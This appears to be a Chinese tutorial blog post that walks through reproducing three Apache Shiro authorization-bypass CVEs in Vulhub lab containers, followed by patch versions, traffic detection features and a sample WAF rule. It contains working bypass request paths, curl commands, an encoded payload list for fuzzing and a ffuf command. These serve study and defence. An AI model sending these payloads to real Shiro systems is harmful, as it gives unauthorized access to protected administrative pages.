news 2026/5/8 20:20:09

别再只盯着CVE编号了!手把手带你复现Shiro那三个经典的权限绕过漏洞(附靶场环境)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只盯着CVE编号了!手把手带你复现Shiro那三个经典的权限绕过漏洞(附靶场环境)

实战剖析Shiro三大权限绕过漏洞:从环境搭建到流量分析

在安全研究领域,Apache Shiro框架的权限绕过漏洞一直是Web安全测试中的经典案例。许多初学者虽然能背诵CVE编号,却对漏洞产生的深层机制和实战复现细节一知半解。本文将彻底改变这种"纸上谈兵"的状况,通过Vulhub靶场环境,带您亲历CVE-2020-1957、CVE-2020-11989和CVE-2020-13933三个漏洞的完整复现过程。

不同于简单的步骤罗列,我们将重点关注BurpSuite抓包分析、Spring与Shiro的路径解析差异、以及如何构造特殊请求触发漏洞。您将获得一套可立即上手的实战方法论,而不仅仅是理论知识的堆砌。下面让我们从环境准备开始,逐步揭开这些漏洞的神秘面纱。

1. 实验环境搭建与基础配置

1.1 Vulhub靶场部署

首先需要准备一个干净的Linux环境(推荐Ubuntu 20.04),确保已安装Docker和docker-compose。以下是具体操作命令:

# 安装必要依赖 sudo apt update && sudo apt install -y git docker.io docker-compose # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2020-1957

启动靶机前,建议修改docker-compose.yml文件中的端口映射,避免与本地服务冲突:

version: '2' services: web: image: vulhub/shiro:1.2.4 ports: - "8080:8080" # 将左侧8080改为其他未占用端口

执行以下命令启动环境:

docker-compose up -d

等待约30秒后,访问http://your-ip:port应能看到Shiro示例页面。如果遇到端口冲突,可以使用netstat -tulnp命令检查占用情况。

1.2 必要工具准备

为全面分析漏洞,需要配置以下工具环境:

  • BurpSuite Community/Professional:用于拦截和修改HTTP请求
  • 浏览器插件:推荐HackTools或Cookie-Editor
  • 终端工具:curl、nc等基础网络工具

配置BurpSuite时,需要特别注意以下几点:

  1. 在Proxy→Options中确保监听端口与浏览器代理设置一致
  2. 安装Burp BApp Store中的Shiro-Echo扩展,便于识别Shiro框架
  3. 关闭"Intercept"模式下的所有过滤规则,避免漏掉关键请求

提示:实验结束后,记得使用docker-compose down关闭容器释放资源

2. CVE-2020-1957:路径标准化绕过剖析

2.1 漏洞原理深度解读

这个漏洞源于Shiro和Spring对URL路径处理的差异。Shiro使用Ant风格路径匹配,而Spring采用更宽松的路径解析规则。关键差异点在于:

组件路径解析方式分号处理路径标准化
ShiroAnt模式严格匹配视作普通字符不完全标准化
SpringServlet规范宽松匹配作为参数分隔符完全标准化

当请求/xxx/..;/admin/时:

  1. Shiro校验阶段:将路径视为/xxx/..,由于*通配符不匹配路径,校验通过
  2. Spring处理阶段:将..解析为上级目录,分号被忽略,最终访问/admin/

2.2 分步复现过程

首先访问登录页面http://your-ip:8080/login.jsp,尝试直接访问/admin/会被重定向到登录页。接下来构造特殊请求:

  1. 使用BurpSuite拦截任意请求
  2. 修改GET请求行:
GET /xxx/..;/admin/ HTTP/1.1 Host: your-ip:8080
  1. 观察响应,应能看到管理员页面内容

为深入理解,可以通过以下curl命令测试不同变体:

# 失败案例 - 未经处理的路径 curl -v http://localhost:8080/admin/ # 成功利用 - 分号构造 curl -v http://localhost:8080/anypath/..;/admin/

关键点在于分号前的..必须存在,单独使用分号不会触发漏洞。这是因为路径标准化过程中..会向上回退一级目录。

3. CVE-2020-11989:分号位置变异利用

3.1 漏洞触发条件分析

与CVE-2020-1957不同,这个漏洞利用分号在路径开头时的特殊处理:

  • Shiro校验/;/test/admin/page被解析为/根目录,通常配置为anon公开访问
  • Spring处理:分号被忽略,实际请求/test/admin/page

漏洞利用需要满足两个前提:

  1. 根路径/配置为匿名访问
  2. 目标路径/test/admin/page需要认证

3.2 实战复现与流量对比

正常访问需要认证的页面:

GET /test/admin/page HTTP/1.1 Host: vulnerable-app

响应应为302重定向到登录页。现在构造恶意请求:

GET /;/test/admin/page HTTP/1.1 Host: vulnerable-app

使用BurpSuite的Repeater模块对比两个请求的响应差异:

请求类型状态码Location头响应体大小
正常请求302/login.jsp0
分号构造请求2001256

在浏览器中,可以通过地址栏直接输入http://your-ip:8080/;/test/admin/page验证效果。注意某些浏览器会自动移除分号,建议使用开发者工具确保请求未被修改。

4. CVE-2020-13933:后缀变异的新攻击面

4.1 漏洞特征与限制

这个漏洞展示了另一种分号使用方式,将分号置于路径中间:

/admin/;page

Shiro校验时会将路径视为/admin/,而Spring处理时会保留完整路径。成功利用需要:

  1. /admin/*路径配置了权限控制
  2. 服务端存在/admin/;page这样的有效端点

4.2 复合利用技巧

在实际环境中,可以尝试组合多种技巧:

GET /admin/..;/subpath/;bypass HTTP/1.1

通过BurpSuite的Intruder模块,可以批量测试以下payload:

/admin/%3Bx /admin/..%3B/ /;/admin/ /admin/..;/

建议使用以下编码变体增加成功率:

  • 分号URL编码:%3B
  • 斜杠编码:%2F
  • 双重编码:%253B

5. 防御方案与检测方法

5.1 官方修复方案对比

各版本修复方式有所不同:

漏洞编号修复版本修复方式
CVE-2020-19571.5.2增强路径标准化
CVE-2020-119891.5.3严格处理分号
CVE-2020-139331.6.0引入严格模式校验

升级时需注意兼容性问题,特别是自定义Realm实现的情况。建议先在测试环境验证以下功能:

  1. 现有权限配置是否依然生效
  2. 特殊字符路径的访问控制
  3. 会话管理功能

5.2 流量特征检测

对于无法立即升级的系统,可通过以下特征检测攻击尝试:

  • 请求特征

    • 包含;或编码变体的URL路径
    • 异常的..跳转序列
    • 非标准路径分隔符
  • 响应特征

    • 302跳转缺失
    • 敏感接口返回非预期200状态码
    • RememberMe cookie异常出现

示例WAF规则:

SecRule REQUEST_URI "@rx (?:;|%3B|\.\.)" \ "id:10001,\ phase:1,\ block,\ msg:'Possible Shiro Bypass Attempt'"

6. 漏洞挖掘方法论延伸

掌握这三个漏洞后,可以将其检测思路扩展到其他框架:

  1. 路径解析差异审计

    • 比较WAF与应用框架的解析差异
    • 测试编码/解码不一致情况
  2. 边界条件测试

    • 特殊字符在路径开头/中间/结尾的不同表现
    • 多重编码组合效果
  3. 权限控制旁路

    • 静态资源后缀绕过
    • HTTP方法覆盖(GET/POST/HEAD)
    • 头部注入攻击

建议使用以下工具辅助测试:

  • BurpSuite插件

    • ShiroExploit
    • AuthMatrix
  • 命令行工具

    ffuf -u http://target/FUZZ -w shiro-payloads.txt
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/8 20:19:26

构建垂直技术知识库:从光标支持网站看静态站点与内容策略

1. 项目概述:一个为“光标技术支持”而生的网站最近在GitHub上看到一个挺有意思的项目,叫seanpm2001/Computer-cursor-tech-support_Website。光看名字,你可能会有点懵:“计算机光标技术支持网站”?这听起来像是个非常…

作者头像 李华
网站建设 2026/5/8 20:18:41

量子Gibbs态制备:原理、挑战与变分算法实践

1. 量子Gibbs态制备的核心价值与挑战在量子计算领域,Gibbs态制备是连接统计力学与量子信息处理的关键桥梁。这种特殊量子态描述了系统与热库达到平衡时的状态,其数学形式为ρ e^(-βH)/Z,其中β1/(k_B T)是逆温度参数,H为系统哈密…

作者头像 李华
网站建设 2026/5/8 20:16:46

混合精度推理超快

💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 混合精度推理:边缘设备上的超速革命与隐忧目录混合精度推理:边缘设备上的超速革命与隐忧 引言&#xff1…

作者头像 李华
网站建设 2026/5/8 20:15:37

本地AI语音生成与配音工作台Pandrator:从TTS到RVC的完整实践指南

1. 项目概述:一个本地化、多功能的AI语音生成与配音工作台如果你曾经尝试过将电子书转换成有声书,或者想为一段外语视频配上自己语言的配音,你大概会和我一样,经历过一段相当折腾的时光。市面上要么是功能单一的在线工具&#xff…

作者头像 李华